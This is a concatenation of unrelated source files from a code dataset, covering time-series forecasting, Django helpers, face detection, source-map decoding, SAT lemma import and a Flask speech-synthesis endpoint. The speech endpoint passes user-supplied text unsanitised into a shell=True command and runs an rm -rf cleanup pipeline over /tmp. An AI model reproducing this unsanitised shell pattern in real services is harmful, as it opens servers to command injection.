train_test_ratio = kwargs['train_test_ratio'] if kwargs['train_test_ratio'] < 1 else train_test_ratio\n\n training_weeks = np.math.floor(sequence_data.shape[0] * train_test_ratio)\n headers = sequence_data.columns\n indexes = sequence_data.index.values\n\n train = pd.DataFrame(values[:training_weeks, :], columns=headers, index=indexes[:training_weeks])\n test = pd.DataFrame(values[training_weeks:, :], columns=headers, index=indexes[training_weeks:])\n\n train_data = pd.DataFrame(train.values[:, :n_obs], columns=train.columns.values[:n_obs],\n index=train.index.values)\n train_y = pd.DataFrame(train.values[:, n_obs:], columns=train.columns.values[n_obs:],\n index=train.index.values)\n test_data = pd.DataFrame(test.values[:, :n_obs], columns=test.columns.values[:n_obs],\n index=test.index.values)\n test_y = pd.DataFrame(test.values[:, n_obs:], columns=test.columns.values[n_obs:], index=test.index.values)\n\n # reshape to 3-D\n train_X = train_data.values.reshape((train_data.values.shape[0], n_input_steps, n_in_variables))\n test_X = test_data.values.reshape((test_data.values.shape[0], n_input_steps, n_in_variables))\n\n early_stopping_cb = EarlyStopping(monitor='val_loss', patience=20, verbose=1)\n\n model = Sequential()\n # rnn = SimpleRNN(500, input_shape=(train_X.shape[1], train_X.shape[2]), return_sequences=True, activation=\"sigmoid\")\n # model.add(rnn)\n model.add(Dense(n_in_variables * n_input_steps, input_shape=(train_X.shape[1], train_X.shape[2])))\n lstm = CuDNNLSTM(self.units) # if CUDA, use CuDNNLSTM\n model.add(CuDNNLSTM(self.units, return_sequences=True)) # if CUDA, us CuDNNLSTM\n model.add(lstm)\n model.add(Dropout(0.5))\n model.add(Dense(n_out_variables))\n model.summary()\n model.compile(loss='mae', optimizer='adam', metrics=['mae', 'mse'])\n\n history = model.fit(train_X, train_y, epochs=self.epochs, batch_size=32, verbose=1, validation_split=0.10,\n shuffle=False, callbacks=[early_stopping_cb])\n\n test_pred = model.predict(test_X, verbose=1)\n train_pred = model.predict(train_X, verbose=1)\n\n test_X = test_X.reshape((test_X.shape[0], n_obs))\n train_X = train_X.reshape((train_X.shape[0], n_obs))\n\n # invert scaling back to originals\n inv_pred_test = self.__get_inverse_scaled(scaler, test_X, test_pred, n_out_variables)\n inv_test_y = self.__get_inverse_scaled(scaler, test_X, test_y, n_out_variables)\n\n inv_pred_train = self.__get_inverse_scaled(scaler, train_X, train_pred, n_out_variables)\n inv_train_y = self.__get_inverse_scaled(scaler, train_X, train_y, n_out_variables)\n\n # Export Predictions\n columns = range(1, inv_train_y.shape[1]+1)\n train_predictions = pd.concat([pd.DataFrame(inv_train_y, columns=columns).add_prefix(\"actual_\"),\n pd.DataFrame(inv_pred_train, columns=columns).add_prefix(\"pred_\")],\n axis=1)\n train_predictions.index = train.index\n train_predictions.to_csv('output/Predictions/{}_train_predictions.csv'.format(repo_name))\n\n test_predictions = pd.concat([pd.DataFrame(inv_test_y, columns=columns).add_prefix(\"actual_\"),\n pd.DataFrame(inv_pred_test, columns=columns).add_prefix(\"pred_\")], axis=1)\n test_predictions.index = test.index\n test_predictions.to_csv('output/Predictions/{}_test_predictions.csv'.format(repo_name))\n\n test_mae = mean_absolute_error(test_y, test_pred)\n test_mape = np.average(np.abs((test_y - test_pred) / test_y)) * 100\n train_mae = mean_absolute_error(train_y, train_pred)\n train_mape = np.average(np.abs((train_y - train_pred) / train_y)) * 100\n print('Test MAE Scaled: %.3f' % test_mae)\n print('Train MAE Scaled: %.3f' % train_mae)\n\n self.scaled_errors.append({\"repo\": repo_name,\n \"test_mae\": np.round(test_mae, 3), \"test_mape\": np.round(test_mape, 3),\n \"train_mae\": np.round(train_mae, 3), \"train_mape\": np.round(train_mape, 3)})\n\n test_mae = mean_absolute_error(inv_test_y, inv_pred_test)\n test_mape = np.average(np.abs((inv_test_y - inv_pred_test) / inv_test_y)) * 100\n train_mae = mean_absolute_error(inv_train_y, inv_pred_train)\n train_mape = np.average(np.abs((inv_train_y - inv_pred_train) / inv_train_y)) * 100\n\n print('Test MAE: %.3f' % test_mae)\n print('Train MAE: %.3f' % train_mae)\n\n self.errors.append({\"repo\": repo_name,\n \"test_mae\": np.round(test_mae, 3), \"test_mape\": np.round(test_mape, 3),\n \"train_mae\": np.round(train_mae, 3), \"train_mape\": np.round(train_mape, 3)})\n\n test_mae_by_day = self.__calculate_daily_errors(repo_name, inv_test_y, inv_pred_test)\n train_mae_by_day = self.__calculate_daily_errors(repo_name, inv_train_y, inv_pred_train)\n\n self.test_errors_by_day.append(test_mae_by_day)\n self.train_errors_by_day.append(train_mae_by_day)\n\n evaluation_criterias = [\n {\n \"type\": \"test\",\n \"error_values\": test_mae_by_day,\n \"index\": test.index.values,\n \"data\": {\n \"pred\": inv_pred_test,\n \"actual\": inv_test_y\n }\n },\n {\n \"type\": \"train\",\n \"error_values\": train_mae_by_day,\n \"index\": train.index.values,\n \"data\": {\n \"pred\": inv_pred_train,\n \"actual\": inv_train_y\n }\n }\n ]\n\n for criterion in evaluation_criterias:\n pred = criterion[\"data\"][\"pred\"]\n actual = criterion[\"data\"][\"actual\"]\n\n first_day_mae = criterion[\"error_values\"]['Day 1']\n last_day_mae = criterion[\"error_values\"]['Day {}'.format(output_days)]\n proj_sum_mae = sum({k: v\n for k, v in criterion[\"error_values\"].items()\n if k.startswith('Day')}.values())\n\n pred_first, pred_firstweek, pred_secondweek, pred_last = \\\n self.__decompose_predictions_to_days(pred, [0, 6, 13, -1])\n\n actual_first, actual_firstweek, actual_secondweek, actual_last = \\\n self.__decompose_predictions_to_days(actual, [0, 6, 13, -1])\n\n self.calculate_and_plot_relative_errors(pred, actual, criterion[\"index\"], output_days,\n repo_name, criterion[\"type\"])\n\n self.evaluate_first_day_results(first_day_mae, pred_first, actual_first, criterion[\"index\"],\n repo_name, criterion[\"type\"])\n\n lastday_ix = criterion[\"index\"] + np.timedelta64(n_out_variables - 1, 'D')\n self.evaluate_last_day_results(last_day_mae, pred_last, actual_last, lastday_ix, repo_name, criterion[\"type\"])\n\n first_week_ix = criterion[\"index\"] + np.timedelta64(6, 'D')\n self.evaluate_first_week_results(pred_firstweek, actual_firstweek, first_week_ix,\n repo_name, criterion[\"type\"])\n\n second_week_ix = criterion[\"index\"] + np.timedelta64(13, 'D')\n self.evaluate_second_week_results(pred_secondweek, actual_secondweek, second_week_ix,\n repo_name, criterion[\"type\"])\n\n proj_sum_pred = np.sum(pred, axis=1)\n proj_sum_y = np.sum(actual, axis=1)\n self.evaluate_projection_sum_results(proj_sum_mae, proj_sum_pred, proj_sum_y, criterion[\"index\"], repo_name, criterion[\"type\"])\n\n ''' Plot train & test values together '''\n self.__plot_complete_results(train_predictions, test_predictions, repo_name, [1, 7, 14, 30])\n\n\nif __name__ == '__main__':\n os.makedirs(output_dir, exist_ok=True)\n os.makedirs(os.path.join(output_dir, \"Predictions\"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, \"Daily_First_Day\"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, \"Daily_Last_Day\"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, \"Daily_First_Week\"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, \"Daily_Second_Week\"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, \"Weekly_Projection_Sum\"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, \"Boxplots\"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, \"RMSErrors\"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, \"First_Day_Cumulative\"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, \"Last_Day_Cumulative\"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, \"First_Week_Cumulative\"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, \"Second_Week_Cumulative\"), exist_ok=True)\n\n f = Forecasting()\n db_service = DatabaseService()\n\n '''\n ['d3/d3', 'matplotlib/matplotlib', 'ecomfe/echarts', 'mozilla/metrics-graphics',\n 'jacomyal/sigma.js', 'chartjs/Chart.js', 'gionkunz/chartist-js', 'Leaflet/Leaflet']\n '''\n allowed_repos = ['d3/d3', 'ecomfe/echarts', 'chartjs/Chart.js', 'gionkunz/chartist-js', 'Leaflet/Leaflet']\n for i in range(1, 28):\n repo_name = db_service.get_repo_full_name_by_id(i)\n if repo_name not in allowed_repos:\n continue\n repo_name = repo_name.replace(\"/\", \"_\")\n daily_repo_stats = DatabaseService().get_daily_repo_stats_by_day(i)\n\n data_df = pd.DataFrame(daily_repo_stats)\n data_df.drop('repo_id', axis=1, inplace=True)\n data_df['date'] = pd.to_datetime(data_df['date'])\n data_df.set_index(\"date\", inplace=True)\n input_features = data_df.columns\n input_features = pd.Index(['weighted_star_count', 'weighted_commit_count', 'weighted_opened_count',\n 'weighted_closed_issue_count', 'weighted_fork_count', 'weighted_release_count',\n 'star_count'])\n output_features = ['star_count']\n\n data_df = f.populate_non_existing_dates(data_df, columns=(input_features.union(output_features)))\n\n print(repo_name)\n f.forecast_stars_of_repo(repo_name, data_df, input_features, output_features, input_days=180, output_days=30,\n train_test_ratio=0.70)\n\n pd.DataFrame(f.errors).to_csv(\"output/Errors.csv\", sep=\";\")\n pd.DataFrame(f.scaled_errors).to_csv(\"output/Scaled_Errors.csv\", sep=\";\")\n pd.DataFrame(f.test_errors_by_day).to_csv(\"output/Test_Errors_By_Day.csv\", sep=\";\")\n pd.DataFrame(f.aggregated_relative_errors).to_csv(\"output/Aggregated_Relative_Errors.csv\", sep=\";\")\n pd.DataFrame(f.aggregated_absolute_errors).to_csv(\"output/Aggregated_Absolute_Errors.csv\", sep=\";\")\n pd.DataFrame(f.train_errors_by_day).to_csv(\"output/Train_Errors_By_Day.csv\", sep=\";\")\n","sub_path":"github_trends/analyze/multistep_forecasting.py","file_name":"multistep_forecasting.py","file_ext":"py","file_size_in_byte":26253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"78679670","text":"import json\n\nfrom django.core.paginator import Paginator, PageNotAnInteger, EmptyPage\nfrom django.http import HttpResponse\nfrom dss.Serializer import serializer\nfrom pymysql import Error\n\n\n# 用户登录 返回数据体\ndef loginData(request, data):\n try:\n if request.user.is_authenticated():\n return getHttpResponse(0, \"ok\", data)\n\n except Error as e:\n return getHttpResponse(10000, \"Error\", e)\n\n return getHttpResponse(10001, \"User not login!\", \"用户没登录,请登录去\")\n\n\ndef getPagingData(request, infoData):\n dataObjects = infoData.objects.all().values()\n return getPagingDataForFilter(request, dataObjects)\n\n\n# 数据经过过滤\ndef getPagingDataForFilter(request, infoData):\n try:\n page = request.GET.get(\"page\")\n pageCount = request.GET.get(\"pageCount\")\n\n if not page or int(page) < 1:\n page = 1\n\n if not pageCount or int(pageCount) < 1:\n pageCount = 20\n\n # 取出所有数据(分页的形式)\n # 获取 数据表中的所有记录\n\n # 生成paginator对象,定义每页显示20条记录\n paginator = Paginator(infoData, pageCount)\n # 把当前的页码数转换成整数类型\n currentPage = int(page)\n page = int(page)\n pageCount = int(pageCount)\n number = int((currentPage - 1) * pageCount) # 每个条数据的编号(防止第二页从第一个开始)\n\n try:\n newData = paginator.page(page) # 获取当前页码的记录\n except PageNotAnInteger:\n newData = paginator.page(1) # 如果用户输入的页码不是整数时,显示第1页的内容\n except EmptyPage:\n # newData = paginator.page(paginator.num_pages) # 如果用户输入的页数不在系统的页码列表中时,显示最后一页的内容\n newData = []\n\n return getHttpTotalResponse(0, \"ok\", paginator.count, newData)\n except Error:\n return getHttpResponse(10000, \"Error\", \"\")\n\n\nclass ResultResponse(object):\n\n def __init__(self, code, message, result):\n self.code = code\n self.message = message\n self.result = result\n\n def __str__(self):\n return '{\"code\":%s,\"message\":%s,\"result\":%s}' % (self.code, self.message, self.result)\n\n\nclass ResultTotalResponse(object):\n\n def __init__(self, code, message, total, result):\n self.code = code\n self.message = message\n self.total = total\n self.result = result\n\n def __str__(self):\n return '{\"code\":%s,\"message\":%s, \"total\":%s, \"result\":%s}' % (self.code, self.message, self.total, self.result)\n\n\n# 返回 有 total 总数分页的Json结构体\ndef getHttpTotalResponse(code, message, total, word):\n return getJsonHttpResponse(ResultTotalResponse(code, message, total, word))\n\n\n# 返回 标准的Json结构体\ndef getHttpResponse(code, message, word):\n return getJsonHttpResponse(ResultResponse(code, message, word))\n\n\n# 返回 Json 的通用结构\ndef getJsonHttpResponse(resultResponse):\n return HttpResponse(json.dumps(serializer(resultResponse.__dict__), ensure_ascii=False, ),\n content_type=\"application/json;charset=utf-8\")\n","sub_path":"Novel/base_views.py","file_name":"base_views.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"498341104","text":"import cv2\nimport numpy as np\n\n\nclass FaceDetector:\n Confidence = \"\"\n Image = \"\"\n Model = \"\"\n\n # default constructor\n #The user can define the trained model and the prototxt, or use the default files\n def __init__(self, modelPath = \"models/pre_trained_model/res10_300x300_ssd_iter_140000.caffemodel\", prototxt = \"models/pre_trained_model/deploy.prototxt.txt\", confidence = 0.5):\n self.Confidence = confidence\n self.Model = cv2.dnn.readNetFromCaffe(prototxt, modelPath)\n \n # This method receives the image in base64 format, converts it to a numpy array\n # in the load_image method and executes the prediction, returning the image with \n # the bounding box\n def detect_faces(self, imgData):\n image = self.load_image(imgData)\n\n (h, w) = image.shape[:2]\n \n imgBlob = cv2.dnn.blobFromImage(cv2.resize(image, (300, 300)), 1.0,\n (300, 300), (104.0, 177.0, 123.0))\n\n self.Model.setInput(imgBlob)\n detections = self.Model.forward()\n\n for i in range(0, detections.shape[2]):\n confidence = detections[0, 0, i, 2]\n\n # The detections with a probability smaller than the defined value are discarded\n if confidence > self.Confidence:\n box = detections[0, 0, i, 3:7] * np.array([w, h, w, h])\n (startX, startY, endX, endY) = box.astype(\"int\")\n \n # Drawing the bounding box and the prediction score\n text = \"{:.2f}%\".format(confidence * 100)\n y = startY - 10 if startY - 10 > 10 else startY + 10\n cv2.rectangle(image, (startX, startY), (endX, endY),\n (0, 0, 255), 2)\n cv2.putText(image, text, (startX, y),\n cv2.FONT_HERSHEY_SIMPLEX, 0.45, (0, 0, 255), 2)\n\n return image\n\n\n def load_image(self, imgData):\n nparr = np.fromstring(imgData, np.uint8)\n \n return cv2.imdecode(nparr, cv2.IMREAD_COLOR)\n","sub_path":"FaceDetector.py","file_name":"FaceDetector.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"511105675","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom bs4 import BeautifulSoup, NavigableString\nimport urllib2\n\n\ndef strip_tags(html, invalid_tags):\n soup = BeautifulSoup(html)\n\n for tag in soup.findAll(True):\n if tag.name in invalid_tags:\n s = \"\"\n\n for c in tag.contents:\n if not isinstance(c, NavigableString):\n c = strip_tags(unicode(c), invalid_tags)\n s += unicode(c)\n\n tag.replaceWith(s)\n\n return soup\n\nurl = 'http://www.labri.fr/perso/nrougier/teaching/numpy.100/'\n\nresponse = urllib2.urlopen(url)\nhtml = response.read()\nsoup = strip_tags(html, ['span', 'tt'])\n\ndescriptions = soup.find_all('p', 'first')\ndescs = []\nfor i, text in enumerate(descriptions):\n t = map(lambda e: e.encode('utf-8'), text.contents)\n t = map(lambda e: e.replace('\\n', ' '), t)\n descs.append(''.join(t))\n\npres = soup.find_all('pre', 'literal-block')\n\nfor i, text in enumerate(pres[1:]):\n t = map(lambda x: x.encode('utf-8'), text.contents)\n print('# %02d.' % i)\n print('# %s' % descs[i])\n print(''.join(t))\n","sub_path":"numpy100/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"237880193","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import words\n# Create your views here.\ndef index(request):\n word_list=words.objects.order_by('-words_number')\n context = {'word_list':word_list}\n return render(request,'check_word/index.html',context)\ndef add(request):\n add_word = request.GET['word']\n if len(words.objects.filter(words_text=add_word)) > 0:\n result = words.objects.get(words_text=add_word)\n result.words_number=result.words_number+1\n result.save()\n return HttpResponse(\"existed!\")\n else:\n result=words(words_text=add_word,words_number=1)\n result.save()\n return HttpResponse(\"created!\")\n","sub_path":"chaci_project/chaci/check_word/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"334154737","text":"#!/usr/bin/env python3\n\"\"\"Module documentation goes here\n\"\"\"\n\nimport json\nimport subprocess\nimport sys\n\nclass QuickTest:\n \"\"\"Class documentation goes here\n \"\"\"\n def __init__(self):\n self._APP = \"./parse_scores\"\n self._INPUT = \\\n \"\"\"2 1234 3 98.7 87.92 77.32 2345 3 93.1 90.23 81.21\"\"\"\n\n self.test()\n\n\n def test(self):\n \"\"\"Method documentation goes here\n \"\"\"\n returncode, out = self.run()\n\n if 0 != returncode:\n print(\"ERROR: EXPECTED return 0, ACTUAL return {}.\"\n .format(returncode), file=sys.stderr)\n\n if not out:\n print(\"ERROR: No output from student app.\", file=sys.stderr) \n\n print(\"STUDENT OUTPUT\")\n print(\"------------------------\")\n print(out)\n print(\"------------------------\")\n\n try:\n student_info = json.loads(out)\n\n if student_info['max_id'] != 1234:\n print(\"ERROR: EXPECTED max_id 1234 ACTUAL : {}\".format(student_info['max_id']), file=sys.stderr)\n \n if student_info['max_score'] != 98.7:\n print(\"ERROR: EXPECTED max_score 98.7 ACTUAL : {}\".format(student_info['max_score']), file=sys.stderr)\n \n except json.decoder.JSONDecodeError as err:\n print(\"ERROR: JSON parse error: {}\".format(err), file=sys.stderr)\n\n\n def run(self):\n \"\"\"Method documentation goes here.\n \"\"\"\n with subprocess.Popen(self._APP, stderr=subprocess.PIPE,\n stdin=subprocess.PIPE, stdout=subprocess.PIPE) as proc:\n out, err = proc.communicate(input=self._INPUT.encode(\"utf-8\"))\n \n try:\n return proc.returncode, out.decode(\"utf-8\") if out else None\n except UnicodeDecodeError as e:\n return proc.returncode, \"Serious execution badness:\" + format(e)\n\n\n\nif __name__ == \"__main__\":\n test = QuickTest()\n","sub_path":"hw/hw1/test_parse_scores.py","file_name":"test_parse_scores.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"15807692","text":"import collections\n\n\nclass _Base64VLQ(object):\n def __init__(self):\n self.charToInteger = {c: i for i, c in enumerate('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=')}\n\n def decode(self, s):\n result = []\n shift = 0\n value = 0\n\n for c in s:\n try:\n integer = self.charToInteger[c]\n except (KeyError,):\n raise ValueError('Invalid character ({})'.format(c))\n\n hasContinuationBit = integer & 32\n\n integer &= 31\n value += integer << shift\n\n if hasContinuationBit:\n shift += 5\n else:\n shouldNegate = value & 1\n value >>= 1\n result.append(-value if shouldNegate else value)\n value = shift = 0\n\n return result\n\n\n_decode = _Base64VLQ().decode\n\n\nclass SourceMap(collections.UserDict):\n def __init__(self, data):\n self.data = data\n self.segments = [(line, _decode(segment)) for line, group in enumerate(self.data['mappings'].split(';')) for segment in group.split(',')]\n self.sources = None\n\n def orig2gen(self, url, line):\n try:\n source_index = self.data['sources'].index(url)\n except (ValueError,):\n raise ValueError('invalid url')\n\n orig_line = 0\n orig_col = 0\n\n prev_line = -1\n\n source_index_acc = 0\n\n for dst_line, segment in self.segments:\n if not segment:\n continue\n\n if dst_line != prev_line:\n prev_line = dst_line\n dst_col = segment[0]\n else:\n dst_col += segment[0]\n\n if len(segment) == 1:\n continue\n\n orig_line += segment[2]\n orig_col += segment[3]\n\n source_index_acc += segment[1]\n if source_index_acc != source_index:\n continue\n\n if orig_line == line:\n return dst_line, dst_col\n\n def gen2orig(self, line, col):\n orig_line = 0\n orig_col = 0\n\n prev_line = -1\n\n source_index_acc = 0\n\n for dst_line, segment in self.segments:\n if not segment:\n continue\n\n if dst_line != prev_line:\n prev_line = dst_line\n dst_col = segment[0]\n else:\n dst_col += segment[0]\n\n if len(segment) == 1:\n continue\n\n orig_line += segment[2]\n orig_col += segment[3]\n source_index_acc += segment[1]\n\n if dst_line == line and dst_col == col:\n return orig_line, orig_col, self.data['sources'][source_index_acc]\n\n\nif __name__ == '__main__':\n import json\n import time\n with open('/git-tfs/Applications/TsmWeb-REL/resources/js/stsvending.js.map', 'r', encoding='utf-8') as fh:\n data = json.load(fh)\n start = time.time()\n sm = SourceMap(data)\n print(time.time() - start)\n print(sm.orig2gen('webpack:///./src/index.tsx', 27))\n\n","sub_path":"sourcemap.py","file_name":"sourcemap.py","file_ext":"py","file_size_in_byte":3084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"149231603","text":"import matplotlib.pyplot as plt\n\n\nf = open('sim_res.txt', 'r')\nsnrs = []\nfers = []\nfor line in f:\n values = line.split(' ')\n snrs.append(float(values[0]))\n fers.append(float(values[1]))\nplt.plot(snrs, fers)\nplt.title('FER dependency on SNR')\nplt.xlabel('SNR')\nplt.ylabel('FER')\nplt.savefig('fer_curve.png')","sub_path":"LDPC_cpp/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"528727370","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Copyright (C) 2017 Mate Soos\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; version 2\n# of the License.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n# 02110-1301, USA.\n\nfrom __future__ import print_function\nimport sqlite3\nimport optparse\n\n\nclass Query:\n def __init__(self, dbfname):\n self.conn = sqlite3.connect(dbfname)\n self.c = self.conn.cursor()\n self.runID = self.find_runID()\n # zero out goodClauses\n self.c.execute('delete from goodClauses;')\n self.num_goods_total = 0\n self.cur_good_ids = []\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n self.conn.commit()\n self.conn.close()\n\n def parse_and_add_lemmas(self, lemmafname):\n with open(lemmafname, \"r\") as f:\n for line in f:\n line = line.strip().split(\" \")\n self.parse_one_line(line)\n\n # final dump\n self.dump_ids()\n\n print(\"Parsed %d number of good lemmas\" % self.num_goods_total)\n\n def parse_one_line(self, line):\n self.num_goods_total += 1\n\n # get ID\n myid = int(line[len(line)-1])\n assert myid >= 0, \"ID is always at least 0\"\n assert myid != 0, \"ID with 0 should not even be printed\"\n\n # num_used = int(line[len(line)-1])\n num_used = 0\n\n # append to cur_good_ids\n self.cur_good_ids.append((self.runID, myid, num_used))\n\n # don't run out of memory, dump early\n if num_used > 10000:\n self.dump_ids()\n\n def dump_ids(self):\n self.c.executemany(\"\"\"\n INSERT INTO goodClauses (`runID`, `clauseID`, `numUsed`)\n VALUES (?, ?, ?);\"\"\", self.cur_good_ids)\n self.cur_good_ids = []\n\n def find_runID(self):\n q = \"\"\"\n SELECT runID\n FROM startUp\n order by startTime desc\n \"\"\"\n\n runID = None\n for row in self.c.execute(q):\n if runID is not None:\n print(\"ERROR: More than one RUN in the SQL, can't add lemmas!\")\n exit(-1)\n runID = int(row[0])\n\n print(\"runID: %d\" % runID)\n return runID\n\n\nif __name__ == \"__main__\":\n usage = \"\"\"usage: %prog [options] sqlite_db lemmas\n\nIt adds lemma indices from \"lemmas\" to the SQLite database, indicating whether\nit was good or not.\"\"\"\n\n parser = optparse.OptionParser(usage=usage)\n\n parser.add_option(\"--verbose\", \"-v\", action=\"store_true\", default=False,\n dest=\"verbose\", help=\"Print more output\")\n\n (options, args) = parser.parse_args()\n\n if len(args) != 2:\n print(\"Error. Please follow usage\")\n print(usage)\n exit(-1)\n\n dbfname = args[0]\n lemmafname = args[1]\n print(\"Using sqlite3db file %s\" % dbfname)\n print(\"Using lemma file %s\" % lemmafname)\n\n with Query(dbfname) as q:\n q.parse_and_add_lemmas(lemmafname)\n\n print(\"Finished adding good lemma indicators to db %s\" % dbfname)\n exit(0)\n","sub_path":"lib/percy/cryptominisat/scripts/learn/add_lemma_ind.py","file_name":"add_lemma_ind.py","file_ext":"py","file_size_in_byte":3562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"18493503","text":"# -*- coding: utf-8 -*-\nimport subprocess\nimport sys\nimport os\nimport uuid\nimport time\nimport shutil\nfrom app import app, api, jwt\nfrom flask import send_from_directory\nfrom flask_restful import Resource, reqparse, abort, request\nfrom flask_jwt_simple import jwt_required\nfrom app.models.voice import Voice\n\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\n\nspch_parser = reqparse.RequestParser()\nspch_parser.add_argument('voice_id', help='voice id', location='json', required=True)\nspch_parser.add_argument('audio_format', choices=['wav','ogg','mp3'], \\\n help='wav|ogg|mp3, default=wav', location='json')\nspch_parser.add_argument('text', help='text to syntesise speech', location='json', required=True)\n\ndef convertTo(audio_format, filename):\n \"\"\" Converts a wav audio file into a provided audio format\n \n Args:\n audio_format (str): format of audio (assuming correct - ogg|mp3)\n filename (str): path of the file with its name \n (assuming has extension of wav file)\n \n Returns: \n (str): filename of the converted file\n \"\"\"\n new_filename = filename[:-3] + audio_format\n command = \"ffmpeg -i {} {}\".format(filename, new_filename)\n return_code = subprocess.call(command, shell=True)\n return new_filename\n\ndef removeOldOutputFiles():\n \"\"\" Removes an output folder if it is older than 5 minutes \"\"\"\n path = \"output/\"\n current_time = time.time() - 300\n for filename in os.listdir(path):\n full_path = os.path.join(path, filename)\n if os.stat(full_path).st_mtime < current_time:\n shutil.rmtree(full_path)\n app.logger.info(\"Directory \\\"\" + full_path + \"\\\" was deleted because it wasn't necessary anymore.\")\n \n\nclass Speech(Resource):\n decorators = [jwt_required]\n def post(self):\n \"\"\" Speech endpoint\n \n Args:\n voice_id (str): id of the voice\n audio_format (str, optional): wav|ogg|mp3 - assume is correct\n text (str): text to process\n \n Returns: \n streamed audio file of the processed speech\n \"\"\"\n args = spch_parser.parse_args()\n voice = Voice.query.filter_by(id=args['voice_id']).first()\n if voice is None:\n return {\"message\":\"Voice could not be found\"}, 400\n \n removeOldOutputFiles()\n \n # set the current path to where the speech files are for the processing\n current_path = os.getcwd()\n os.chdir(app.config['SPEECH_PATH'])\n \n app.logger.info(\"PROCESSING SPEECH:\\nVoice id: {}\\nText: {}\".format(voice.id, args['text']))\n voice_dir = \"voices/{}/{}/{}_pmdl\".format(voice.language, voice.accent, voice.id)\n output_dir = current_path + \"/output/\" + uuid.uuid4().hex[:8] \n \n command = \"echo {} | local/synthesis_voice_pitch.sh {} {}\".format(args['text'], voice_dir, output_dir)\n return_code = subprocess.call(command, shell=True)\n if return_code == 0:\n app.logger.info(\"Processing went through successfully, the audio files have been stored in \" + output_dir)\n else:\n app.logger.error(\"PROCESSING FAILED!!!\")\n os.chdir(current_path)\n return {\"message\":\"The process has failed\"}, 400\n \n # remove temporary files of the user after processing\n if 'CURRENT_USER' in app.config:\n subprocess.call(\"ls -l /tmp | grep \\\"\" + app.config['CURRENT_USER'] + \".*tmp*\\\" | awk '{print \\\"/tmp/\\\"$NF}' | xargs rm -rf\", shell=True)\n app.logger.info(\"Deleted temporary processing files\")\n \n # change the path to the path of this program to\n # continue on converting the file if necessary\n os.chdir(current_path)\n \n output_dir += \"/wav_mlpg/\"\n audio_file = \"test001.wav\"\n \n if not os.path.isfile(os.path.join(output_dir, audio_file)):\n app.logger.error(\"PROCESSING FAILED: no audio file has been found!!!\")\n return {\"message\":\"The process has failed\"}, 400\n \n # check if the audio file needs to be converted\n if args['audio_format'] is not None and args['audio_format'] != \"wav\":\n audio_file = convertTo(args['audio_format'], os.path.join(output_dir, audio_file))\n audio_file = audio_file.split('/')[len(audio_file.split('/'))-1]\n app.logger.info(\"Audio file has been converted to \" + args['audio_format'])\n \n return send_from_directory(output_dir, audio_file)\n\n\napi.add_resource(Speech, '/speech')\n","sub_path":"idlak-server/app/endpoints/speech.py","file_name":"speech.py","file_ext":"py","file_size_in_byte":4652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"34990560","text":"import sys\ninput = sys.stdin.readline\n\nN,K = map(int,input().split())\nE = [[] for _ in range(N)]\nMOD = 10**9+7\n\nfor _ in range(N-1):\n\tu,v = map(int,input().split())\n\tu -= 1\n\tv -= 1\n\tE[u].append(v)\n\tE[v].append(u)\n\ncolor = [-1 for _ in range(N)]\n\nstack = []\ncolor[0] = 1\nans = K\nfor i,v in enumerate(E[0]):\n\tstack.append(v)\n\tans *= (K-i-1)\n\tans %= MOD\n\nwhile stack:\n\tu = stack.pop()\n\tcolor[u] = 1\n\tlength = 0\n\tfor v in E[u]:\n\t\tif color[v] == -1:\n\t\t\tstack.append(v)\n\t\t\tlength += 1\n\ttmp = 1\n\tfor i in range(K-1-length,K-1):\n\t\ttmp *= i\n\t\ttmp %= MOD\n\tans *= tmp\n\tans %= MOD\n\nprint(ans%MOD)\n","sub_path":"Python_codes/p02985/s977916295.py","file_name":"s977916295.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"56206046","text":"import pandas 